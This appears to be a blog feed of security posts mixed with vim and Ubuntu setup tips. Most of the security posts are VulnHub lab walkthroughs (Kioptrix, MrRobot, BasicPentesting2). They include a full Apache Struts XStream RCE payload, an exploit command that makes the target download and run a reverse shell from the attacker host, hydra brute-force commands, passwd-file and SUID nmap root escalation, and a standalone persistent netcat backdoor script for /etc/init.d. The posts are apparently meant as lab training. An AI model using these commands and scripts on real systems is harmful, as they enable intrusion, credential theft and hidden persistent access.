 192.168.1.104    KIOPTRIX         <server>  KIOPTRIX         00:00:00:00:00:00

with enum4linux :

 ./enum4linux.pl 192.168.1.104
 WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Apr  7 20:29:41 2020
 
  ==========================
 |    Target Information    |
  ==========================
 Target ........... 192.168.1.104
 RID Range ........ 500-550,1000-1050
 Username ......... ''
 Password ......... ''
 Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 
 
  =====================================================
 |    Enumerating Workgroup/Domain on 192.168.1.104    |
  =====================================================
 [+] Got domain/workgroup name: MYGROUP
 
  =============================================
 |    Nbtstat Information for 192.168.1.104    |
  =============================================
 Looking up status of 192.168.1.104
     KIOPTRIX        <00> -         B <ACTIVE>  Workstation Service
     KIOPTRIX        <03> -         B <ACTIVE>  Messenger Service
     KIOPTRIX        <20> -         B <ACTIVE>  File Server Service
     ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
     MYGROUP         <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
     MYGROUP         <1d> -         B <ACTIVE>  Master Browser
     MYGROUP         <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
 
     MAC Address = 00-00-00-00-00-00
 
  ======================================
 |    Session Check on 192.168.1.104    |
  ======================================
 [E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.

unfortunately the above scan did not gave the version of samba so i am going to use metasploit auxiliary module to get the samba version

 msf5 > search scanner/smb
 msf5 > use auxiliary/scanner/smb/smb_version
 msf5 auxiliary(scanner/smb/smb_version) > show options
 
 Module options (auxiliary/scanner/smb/smb_version):
 
    Name       Current Setting  Required  Description
    ----       ---------------  --------  -----------
    RHOSTS                      yes       The target address range or CIDR identifier
    SMBDomain  .                no        The Windows domain to use for authentication
    SMBPass                     no        The password for the specified username
    SMBUser                     no        The username to authenticate as
    THREADS    1                yes       The number of concurrent threads
 
 msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.104
 RHOSTS => 192.168.1.104
 msf5 auxiliary(scanner/smb/smb_version) > run
 
 [*] 192.168.1.104:139     - Host could not be identified: Unix (Samba 2.2.1a)
 [*] 192.168.1.104:445     - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed

The version of samba version is samba 2.2.1a, now by searching "samba 2.2.1a vulnerability" i found "Samba < 2.2.8 (Linux/BSD) - Remote Code Execution" exploit at https://www.exploit-db.com/exploits/10

Now from here download and try the exploit.

 $ wget https://www.exploit-db.com/raw/10
 $ mv 10 sambal.c
 $ gcc -o sambal sambal.c
 $ ./sambal
 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
 --------------------------------------------------------------
 Usage: ./sambal [-bBcCdfprsStv] [host]
 
 -b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
 -B <step>       bruteforce steps (default = 300)
 -c <ip address> connectback ip address
 -C <max childs> max childs for scan/bruteforce mode (default = 40)
 -d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
 -f              force
 -p <port>       port to attack (default = 139)
 -r <ret>        return address
 -s              scan mode (random)
 -S <network>    scan mode
 -t <type>       presets (0 for a list)
 -v              verbose mode
 
 $ ./sambal -b 0 -v 192.168.1.104
 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
 --------------------------------------------------------------
 + Verbose mode.
 + Bruteforce mode. (Linux)
 + Host is running samba.
 + Using ret: [0xbffffed4]
 + Using ret: [0xbffffda8]
 + Using ret: [0xbffffc7c]
 + Using ret: [0xbffffb50]
 + Worked!
 --------------------------------------------------------------
 *** JE MOET JE MUIL HOUWE
 Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
 uid=0(root) gid=0(root) groups=99(nobody)
 ls
 exploit
 whoami
 root

and exploit works.

So we have to methods to get root shell in kioptrix1.1.

Setting-up Vimux ( vim + tmux ) in Linux machine

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 21:08:00 +0000

By using vimux we can use vim as an IDE. It basically opens a terminal below vim panel with 20 width and then run the mapped command. Pre-requisites are vim and tmux installed.

Installation :

Make sure vim plugin manager will be installed. I installed pathgen. Now run the below command :

 cd ~/.vim/bundle
 git clone https://github.com/benmills/vimux.git

Configuration :

The function used to configure vimux are VimuxRunCommand, VimuxPromptCommand, VimuxRunLastCommand.

VimuxRunCommand : used to run certain system command. It is mapped with autocmd FileType which map different commands for different filetypes. Press LEADER + e
VimuxPromptCommand : used to open a prompt to run user supplied command. Press LEADER + p
VimuxRunLastCommand : used to run last command Executed by VimuxRunLastCommand. Press LEADER + l

Note : LEADER key is mapped to / (slach), by default it is mapped to \ (backword-slash).

Now rest of the configuration is as follows on ~/.vimrc :

 let mapleader = "/" 
 autocmd FileType ruby map <Leader>e :call VimuxRunCommand("clear; ruby " . bufname("%"))<CR>
 autocmd FileType python map <Leader>e :call VimuxRunCommand("clear; python " . bufname("%"))<CR>
 autocmd FileType sh map <Leader>e :call VimuxRunCommand("clear; bash " . bufname("%"))<CR>
 autocmd FileType c map <Leader>e :call VimuxRunCommand("clear; gcc " . bufname("%") . " && ./a.out")<CR>
 autocmd FileType cpp map <Leader>e :call VimuxRunCommand("clear; g++ " . bufname("%") . " && ./a.out")<CR>
 map <Leader>p :VimuxPromptCommand<CR>
 map <Leader>l :VimuxRunLastCommand<CR>

Usage :

To execute file Press / + e
To get CommandPrompt Press / + p
To execute last command Press / + l

Note : Always run vim inside tmux sessions otherwise it does not work properly.

vim plugins installation and some basic .vimrc configuration

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 20:55:00 +0000

Installing plugin manager Pathogen

Run below commands:

 $ mkdir -p ~/.vim/autoload ~/.vim/bundle
 $ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim

Add below lines to ~/.vimrc file :

 execute pathogen#infect()
 syntax on
 filetype plugin indent on

Installing NERDTREE plugin:

Commands :

 $ cd ~/.vim/bundle
 $ git clone https://github.com/scrooloose/nerdtree.git

Add below lines to ~/.vimrc file :

 map <F2> :NERDTree<CR>
 autocmd StdinReadPre * let s:std_in=1
 autocmd VimEnter * if argc() == 0 && !exists("s:std_in") | NERDTree | endif

To open the NERDTREE pane press F2.

Using language Templates in vim :

Create templates folder on ~/.vim folder

 $ mkdir ~/.vim/templates
 $ cd ~/.vim/templates

Now create template files on ~/.vim/templates/ directory. Some examples of template files are as follows :
template.c

 #include <stdio.h>
 #include <stdlib.h>
 
 int main(int argc, char *argv[]) {
 
     return 0;
 }

template.cpp

 #include <iostream>
 
 int main(int argc, char *argv[]) {
 
     return 0;
 }

template.py

 #!/usr/bin/python

template.sh

 #!/bin/bash

Now add below lines to ~/.vimrc file :

 " code for template snippets
 if has("autocmd")
   augroup templates
     autocmd BufNewFile *.sh 0r ~/.vim/templates/template.sh
     autocmd BufNewFile *.c 0r ~/.vim/templates/template.c
     autocmd BufNewFile *.cpp 0r ~/.vim/templates/template.cpp
     autocmd BufNewFile *.java 0r ~/.vim/templates/template.java
     autocmd BufNewFile *.php 0r ~/.vim/templates/template.php
     autocmd BufNewFile *.py 0r ~/.vim/templates/template.py
     autocmd BufNewFile *.html 0r ~/.vim/templates/template.html
   augroup END
 endif

Installing Supertab in vim :

Auto-Completion function (sort of...). Commands :

 $ cd ~/.vim/bundle
 $ git clone https://github.com/ervandew/supertab

Installing taglist with bundle

It shows all the tags (function, classes, variables ) etc. Steps to install :

Download taglist from : http://vim-taglist.sourceforge.net/download.html
Create a folder in ~/.vim/bundle/taglist and put doc and plugin folders in it.
Add below configuration in it.

 map <F3> :TlistToggle<CR>
 let Tlist_Use_Right_Window   = 1

Now you can start taglist by pressing F3 button and second line of above configuration snippets sets taglist to right side of vim window. If there any message Error message shows like this :

  Taglist: Exuberant ctags (http://ctags.sf.net) not found in PATH. Plugin is not loaded.
 Press ENTER or type command to continue

then you have to install exuberant-ctags package

  sudo apt-get install exuberant-ctags

Exploiting Apache Struts2.5 REST Plugin Vulnerability

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 20:31:00 +0000

What is Apache Struts ?

Apache Struts is a free, open-source, MVC framework for creating modern Java web applications. It enables the developer to create maintainable, extensible, and flexible web applications based on standard technologies, such as JSP pages, JavaBeans, resource bundles, and XML.

About the Vulnerability :

The Apache Struts2.5 REST Plugin Vulnerability allow remote code execution on vulnerable server. This particular vulnerability is a result of unsafe de-serialisation in Java Struts REST plugin with the XStream handler when handling XML payloads received with a “Content-Type” set to “application/xml”. The version affected by this vulnerability is Apache Struts 2.5 < 2.5.12. The vulnerability has been assigned CVE-2017–9805 and is rated Critical.

Setting up Lab Environment To Test :

Download Apache Struts 2.5 from here : Download Link
Setup Apache tomcat server running on port 8080, and install the above App on it.

Or you can just use BasicPentesting2 VM to test this vulnerability. You can download it from here : Download Link

URL to access Apache struts App

 http://VM_IP_ADDRESS:8080/struts2-rest-showcase-2.5.12/orders/3

Exploitation :

The vulnerability can be triggered by sending a malicious XML POST payload with the “Content-Type” header set to “application/xml”. The XML Payload is :

 <map>
   <entry>
     <jdk.nashorn.internal.objects.NativeString>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
                         <string>os-command-here</string>
                       </command>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                   </filter>
                   <next></next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
             </is>
           </dataSource>
         </dataHandler>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

Where at line 14, the command is placed.

There is an exploit available from command execution : https://www.exploit-db.com/exploits/42627

Testing the vulnerability :

Attacker System IP : 192.168.56.1
Target Server IP : 192.168.56.103

We are going to use above python exploit to test the vulnerability :

 $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 "Command to execute"

Unfortunately the exploit does not return the output of the executed command, so to clarify the command execution we are going to start an HTTP serer on port 1234 and try to call that server through the Apache Struts Server and see the logs if it is called or not.

Start an HTTP Server on port 1234, i am using php interpreter

 php -S 192.168.56.1:1234
 PHP 7.2.24-0ubuntu0.18.04.1 Development Server started at Fri Dec 27 18:31:57 2019
 Listening on http://192.168.56.1:1234
 Document root is /home/ajay
 Press Ctrl-C to quit.

Now run the exploit :

 $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 "wget http://192.168.56.1:1234/Vulnerable"

And our local web server is called by the Apache Struts server, means we can ge remote code execution on the struts server.

To get a reverse shell on target server , checkout my BasicPentesting2 writeup : Link

Escalation Privilege on Linux/Unix System by Editing /etc/passwd and /etc/shadow files :

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 20:07:00 +0000

etc/passwd file :

The /etc/passwd file stores essential information, which is required during login i.e. user account information. It is basically a text file that contains the information about each user or account on a computer running Linux or another Unix-like operating system. The permissions for /etc/passwd are by default set so that it is world readable, that is, so that it can be read by any user on the system. Example :

 $ cat /etc/passwd
 
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 pulse:x:116:122:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
 nm-openvpn:x:117:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
 avahi:x:118:125:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
 john:x:1000:1000:john,,,:/home/john:/bin/bash

The file contains information about all user who are in the system. The structure of fields are as follows :

 UserName | Password | UserID | GroupID | UserInformation | HomeDirectory | Shell

UserName is the user's login name, that is the name that a user types in when logging into the system.
The Password field originally contained an encrypted login password. However, for security reasons, the encrypted passwords are now contained on another file, /etc/shadow, that cannot be read by ordinary users. This field now merely contains the letter x to indicate that a password has been assigned to the user and is required for authentication. If this field is empty, the user can log in without a password.
UserID is the user's unique numeric identification number, which is used by the system for access control. Zero is reserved for the root account
GroupID specifies the user's principal group identification number. This is usually the same as the user ID.
UserInformation is basically comment field. It allows to add extra information about the users such as user's full name, phone number etc.
HomeDirectory is the full path of the user's home directory.
Shell is the full path of the default shell for the user.

etc/shadow file :

The actual password data is stored in a file called "/etc/shadow". This doesn't actually contain passwords in plain text, rather it contains hashed password. However this file can be only read/edit bu root users.

Now in some cases the /etc/passwd file is writable to normal users also (Specially in some CTF challenges), so in that case a normal user can gain root access by manually editing these files.

Note: This method only works if /etc/passwd is permitted to read-write for all users. For example :

 $ ls -al /etc/passwd
 -rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd

In this case by appending a new user who has root privilege assigned, into the /etc/passwd file with password we are able to get root shell.

Preparing new user to append on file :

The root user entry is look like this

 root:x:0:0:root:/root:/bin/bash

Now we have to place our encrypted password in place of x.

Creating Password :

There are lots of method to create hashed password for example :

With Python :

 $ python -c 'import crypt; print crypt.crypt("password", "$6$salt")'
 
 $6$salt$3aEJgflnzWuw1O3tr0IYSmhUY0cZ7iBQeBP392T7RXjLP3TKKu3ddIapQaCpbD4p9ioeGaVIjOHaym7HvCuUm0

where "password" is password and "$6$salt" is salt value.

With mkpasswd :

 $ mkpasswd -m SHA-512 password
 
 $6$FXCnL/3ctsXQJ$2PNnFRCTyb0uh/pq5xsDyfqGIJruZmgVoYsTcioET1xK2sO.73P3JyM3W0UGSVm5DA7KxBleRqx8Ldfb/OVx7/

With OpenSSL:

 $ openssl passwd -1 -salt hack password123
 
 $1$hack$MLgkAESrYp7kzYz0Ex2fV/

Where :

-1 : md5 based password algorithm (other options are -5 for SHA256 and -6 for SHA512 ),
-salt : salt key, which is "hack" and password is password123

Now we have to append below line into /etc/passwd file :

 newroot:$1$hack$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash

Now append above line onto the /etc/passwd file

 $ echo "newroot:\$1\$hack\$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash" >> /etc/passwd

Note : don't forget to put \ sign before all the $ sign on the password field, else echo command will try to interpret it as a variable.

Now try to login with our newly created user.

 $ su - newroot
 $ whoami
 root

and thats it!, we got a root shell.

Install shutter screenshot tool with Editor Enabled in Ubuntu 18.04

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 19:24:00 +0000

Shutter is a screenshot application written in perl. You can take a screenshot of a specific area, window, your whole screen, or even of a website. You can apply different effects to it, draw on it to highlight points, and then upload to an image hosting site, all within one window.

Install shutter tool :

 $ sudo apt update

$ sudo apt install shutter

Enabling Image Editing tool :
Some libs are missing as this package is not updated in ages and removed from version 18.04 LTS. Steps to install the libraries are :

 $ wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas-common_1.0.0-1_all.deb
 $ wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas3_1.0.0-1_amd64.deb
 $ wget https://launchpad.net/ubuntu/+archive/primary/+files/libgoo-canvas-perl_0.06-2ubuntu3_amd64.deb
 $ sudo dpkg -i *.deb
 $ sudo apt --fix-broken install

Now you can able to take screen-shot as well as edit it with shutter.

Setting up remote backdoor on linux machine using netcat | nc

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 19:10:00 +0000

It can be useful when attacker gained root access to the target system, and want to persistence access to it at every reboot. Backdoor code : backdoor.sh

#!/bin/bash
while true
do
    nc attacker_ip_address port_number -e /bin/bash
    sleep 10
done

Put above code on /etc/init.d and make it executable.

 $ chmod +x /etc/init.d/backdoor.sh

Add it to autorun at startup with update-rc.d :

 $ update-rc.d /etc/init.d/backdoor.sh defaults

Thats it, now just start listener to your attacker machine and it connects to the victim machine at every startup.

What is /etc/init.d : This is the traditional service management package for Linux, containing the init program (the first process that is run when the kernel has finished initializing) as well as some infrastructure to start and stop services and configure them.

Code when netcat does not support '-e' (exec) option

#!/bin/bash
mknod backpipe p
while true
do
    /bin/sh 0</tmp/backpipe | nc attacker_ip_address port_number 1>/tmp/backpipe
    sleep 10
done

MrRobot CTF VM WalkThrough from VulnHub

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 15:16:00 +0000

VM : MrRobot

Download Link : https://www.vulnhub.com/entry/basic-pentesting-2,241/

Getting Target machine IP :

Scan the whole network to identify the target IP.

 nmap -sP 192.168.56.0/24

-sP sends ICMP echo request and only tells if host is up or down. Our target system is 192.168.56.101.

Scanning the target

 $ nmap -sV 192.168.56.101 -oN target.scan
 
         STATE  SERVICE  VERSION
 22/tcp  closed ssh
 80/tcp  open   http     Apache httpd
 443/tcp open   ssl/http Apache httpd

There are only two ports open.

-oN stores the output in a normal file(target.scan), theres also various format available.

At port 80 the web page is available, but theres nothing any interesting data.

Scanning the target web server for hiden urls and other stuffs

 $ dirb http://192.168.56.101 -o dirb.scan

It seem there have some problem on scanning(because i am running attacker machine on docker container), so i need to use -w option to ignore the warning.

 $ dirb http://192.168.56.101 -o dirb.scan

Scanning for wordpress website :

 $ wpscan --url http://192.168.56.101

Some of the important findings are :

 ttp://192.168.56.101/0/
 http://192.168.56.101/admin/
 http://192.168.56.101/robots.txt
 .......

where at http://192.168.56.101/0/ a wordpress website is hosted.

Now the robots.txt file have some interested things, so first download it.

 $ wget http://192.168.56.101/robots.txt
 --2019-11-13 15:52:46--  http://192.168.56.101/robots.txt
 Connecting to 192.168.56.101:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 41 [text/plain]
 Saving to: 'robots.txt'
 
 robots.txt           100%[========================>]      41  --.-KB/s    in 0s
 
 2019-11-13 15:52:46 (4.69 MB/s) - 'robots.txt' saved [41/41]
 
 $ cat robots.txt
 User-agent: *
 fsocity.dic
 key-1-of-3.txt

As we can see that we find our first key and a another file fsocity.dic, now download it.

 $ wget http://192.168.56.101/key-1-of-3.txt
 $ cat key-1-of-3.txt
 1f80d943455fb30724b9

It contains the flag value. Now lets check another file.

 $ wget http://192.168.56.101/fsocity.dic

This file contains the list of 858160 words.

 wc -l fsocity.dic

Now let sort the file and remove duplicates

 $ cat fsocity.dic | sort | uniq > fsocity_sorted.dic

Now the file length is 11451. This list can be login for the wordpress website. So try to bruteforce the wordpress login with this list. First we bruteforce the username field then password field. For bruteforec we are going to use hydra.

BruteForcing WordPress Login with Hydra :

For basics use hydra refer to this : http://www.sec-art.net/hydra

Bruteforcing username:

 $ hydra -vV -L fsocity_sorted.dic -p randompass 192.168.56.101 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -o success

Where -o success option is used to store result working keys. Contents of success file :

 [80][http-post-form] host: 192.168.56.101   login: ELLIOT   password: randompass
 [80][http-post-form] host: 192.168.56.101   login: Elliot   password: randompass
 [80][http-post-form] host: 192.168.56.101   login: elliot   password: randompa

the username is found, then we can bruteforce the password file with same list.

 $ hydra -vV -l elliot -P fsocity_sorted.dic 192.168.56.101 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:incorrect"

Password fount : ER28-0652

We can also use wpscan, for example :

 $ wpscan --url http://192.168.56.101/wp-login.php --usernames elliot --passwords fsocity_sorted.dic --wp-content-dir "http://192.168.56.101/wp-login.php"

Droping Backdoor on Wordpress :

First login to wordpress with above credentials and go to Appearance > Editor

Get the php reverse shell code from : Click here to download

Change the IP on script to your attacker machine and port number then put it on the Main Index page

Now start backdoor listener

 $ nc -vvlp 1234

and open wordpress index file.

 ajay@MBot:~$ nc -vvlp 1234
 Listening on [0.0.0.0] (family 0, port 1234)
 Connection from 192.168.56.101 47906 received!
 Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
  00:13:18 up  3:57,  0 users,  load average: 0.00, 0.08, 0.46
 USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 /bin/sh: 0: can't access tty; job control turned off
 $

In the /home/robot folder we found 2nd key file, currently we don't have the permission to open it.

 $ cd home/robot
 $ ls
 key-2-of-3.txt
 password.raw-md5
 $ cat key-2-of-3.txt
 cat: key-2-of-3.txt: Permission denied
 $ whoami
 daemon

But we the permission to read password.raw-md5 file

 $ cat password.raw-md5
 robot:c3fcd3d76192e4007dfb496cca67e13b

which looks like md5 unslated password hash. Now to crack that we can use JTR(John the ripper) or john password cracking tool.

 $ cat passhash.txt
 c3fcd3d76192e4007dfb496cca67e13b
 
 $ john passhash.txt

But it takes time,so we can also use online hash cracking service from crackstation.net

So the password is :

 abcdefghijklmnopqrstuvwxyz

Now lets try to login as robot with above password

 $ sudo robot
 sudo: no tty present and no askpass program specified
 $ python -c 'import pty; pty.spawn("/bin/bash")'  
 daemon@linux:/home/robot$ su robot
 su robot
 Password: abcdefghijklmnopqrstuvwxyz
 
 robot@linux:~$ cat key-2-of-3.txt
 cat key-2-of-3.txt
 822c73956184f694993bede3eb39f959
 robot@linux:~$

We can get 2nd flag also. Note that the python -c 'import pty; pty.spawn("/bin/bash")' is used to spawn a tty shell.

Privilege Escalation to root :

There are various methods for privilege escalation, which can be found here : Link (Click Here)

For this VM first we try to find a binary with SUID root.

 $ find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null
 
 -rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
 -rwsr-xr-x 1 root root 69120 Feb 12  2015 /bin/umount
 -rwsr-xr-x 1 root root 94792 Feb 12  2015 /bin/mount
 -rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
 -rwsr-xr-x 1 root root 36936 Feb 17  2014 /bin/su
 -rwsr-xr-x 1 root root 47032 Feb 17  2014 /usr/bin/passwd
 -rwsr-xr-x 1 root root 32464 Feb 17  2014 /usr/bin/newgrp
 -rwsr-xr-x 1 root root 41336 Feb 17  2014 /usr/bin/chsh
 -rwsr-xr-x 1 root root 46424 Feb 17  2014 /usr/bin/chfn
 -rwsr-xr-x 1 root root 68152 Feb 17  2014 /usr/bin/gpasswd
 -rwsr-xr-x 1 root root 155008 Mar 12  2015 /usr/bin/sudo
 -rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
 -rwsr-xr-x 1 root root 440416 May 12  2014 /usr/lib/openssh/ssh-keysign
 -rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
 -r-sr-xr-x 1 root root 9532 Nov 13  2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
 -r-sr-xr-x 1 root root 14320 Nov 13  2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
 -rwsr-xr-x 1 root root 10344 Feb 25  2015 /usr/lib/pt_chown

At above we use find commands which finds files with SUID and then -exec options will run ls -ld command on the file, 2>/dev/null will redirect all the errors.

Now there is an interesting finding :

 -rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap

Now there is a method to get root shell with nmap (if it support --interactive option`), which can be found on this article : https://www.exploit-db.com/papers/18168/

Now get a root shell with nmap

 $ nmap --interactive
 
 Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
 Welcome to Interactive Mode -- press h <enter> for help
 nmap> !sh
 !sh
 # whoami
 whoami
 root
 #

!! We get a root shell. Now lets find 3rd key.

 # cd /root
 cd /root
 # ls
 ls
 firstboot_done key-3-of-3.txt
 # cat key-3-of-3.txt
 cat key-3-of-3.txt
 04787ddef27c3dee1ee161b21670b4e4

Thats it. !!!

We found all the keys.

BasicPentesting2 VM WalkThrough from VulnHub

noreply@blogger.com (Unknown) — Sat, 01 Feb 2020 14:02:00 +0000

VM : BasicPentesting2

Dwonload Link : https://www.vulnhub.com/entry/basic-pentesting-2,241/

Start the VM and get IP of VM :

 $ nmap -sP 192.168.56.0/24
 
 Nmap scan report for 192.168.56.1
 Host is up (0.000088s latency).
 Nmap scan report for 192.168.56.100
 Host is up (0.00017s latency).
 Nmap scan report for 192.168.56.103
 Host is up (0.00024s latency).
 Nmap done: 256 IP addresses (3 hosts up) scanned in 17.09 seconds

at above list 192.168.56.103 is our target VM.

Scanning the target :

 $ nmap -sV 192.168.56.103 -oN nmap.scan
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-12 18:03 UTC
 Nmap scan report for 192.168.56.103
 Host is up (0.00020s latency).
 Not shown: 994 closed ports
 PORT     STATE SERVICE     VERSION
 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
 80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
 139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
 8080/tcp open  http        Apache Tomcat 9.0.7
 Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 12.52 seconds

Scan Results :

OpenSSH 7.2p2
Web Server on port 80
Also tomcat server is running on port 8080

Open the web page :

There is nothing special on the web page.

Now lets scan the web server for some hidden urls, directories or path, with dirb.

 $ dirb http://192.168.56.103/ -o dirb.scan
 
 -----------------
 DIRB v2.22
 By The Dark Raver
 -----------------
 
 OUTPUT_FILE: dirb.scan
 START_TIME: Sun Jan 12 18:17:14 2020
 URL_BASE: http://192.168.56.103/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612
 
 ---- Scanning URL: http://192.168.56.103/ ----
 ==> DIRECTORY: http://192.168.56.103/development/
 + http://192.168.56.103/index.html (CODE:200|SIZE:158)
 + http://192.168.56.103/server-status (CODE:403|SIZE:302)
 
 ---- Entering directory: http://192.168.56.103/development/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode '-w' if you want to scan it anyway)
 
 -----------------
 END_TIME: Sun Jan 12 18:17:15 2020
 DOWNLOADED: 4612 - FOUND: 2

As we can see there is a development directory, lets open it.

There are two text file :

dev.txt

 2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
 to host that on this server too. Haven't made any real web apps yet, but I have tried that example
 you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
 using version 2.5.12, because other versions were giving me trouble. -K
 
 2018-04-22: SMB has been configured. -K
 
 2018-04-21: I got Apache set up. Will put in our content later. -J

j.txt

 For J:
 
 I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
 and I was able to crack your hash really easily. You know our password policy, so please follow
 it? Change that password ASAP.
 
 -K

These are look like chat files, but in first file there is a conversations about apache struts version 2.5.12 installation, means there is apache structs app installed on the server, which works with java servlet, and it is on port 8080. We know that ApacheStruts version 2.5.12 is vulnerabile to remote code execution, for more details about the vulnerability visit the link : [ApacheStruts Link]. Also the testing of vulnerability is explained on that post, so just follow the instructions.

Download exploit from here : https://www.exploit-db.com/exploits/42627

Start an HTTP Server on port 1234, i am using php interpreter

 php -S 192.168.56.1:1234
 PHP 7.2.24-0ubuntu0.18.04.1 Development Server started at Fri Dec 27 18:31:57 2019
 Listening on http://192.168.56.1:1234
 Document root is /home/ajay
 Press Ctrl-C to quit.

Now run the exploit :

 $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 "wget http://192.168.56.1:1234/Vulnerable"

And our local web server is called by the Apache Struts server, means we can ge remote code execution on the struts server.

Getting Reverse Shell on target Server :

Generating reverse shell payload with msfvenom

 $ msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=192.168.56.1 LPORT=1234 -o rev_shell

Starting netcat listener at oprt 1234

 $ nc -lvvp 1234

Hosting our reverse shell backdoor on local web server,

 http://192.168.56.1/rev_shell

Now the idea is we have to trigger apache struts RCE vulnerability and force the target VM to download the backdoor and execute it, which basically connects back to our listner, and then we gat a reverse shell on the target server. The addresses are :

Target url :

 http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3

Backdoor file location :

 http://192.168.56.1/rev_shell

Command to execute on the target :

 cd /tmp/;wget http://192.168.56.1/rev_shell;chmod +x rev_shell;./rev_shell

Running the exploit :

 $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 "cd /tmp/;wget http://192.168.56.1:8080/rev_shell;chmod +x rev_shell;./rev_shell"

and we get a reverse shell on our nc listener prompt

Starting a tty shell with python pty library

 python -c 'import pty;pty.spawn("/bin/bash")'

Privilege Escalation :

Lets try to go to /home/ directory, so we can look at number of users on the system.

 tomcat9@basic2:/home$ ls
 
 jan  kay

There are two users "jan" and "kay". Lets check the jan's folder first

 tomcat9@basic2:/home$ cd jan
 tomcat9@basic2:/home/jan$ ls -al
 
 total 16
 drwxr-xr-x 2 root root 4096 Nov 29 16:55 .
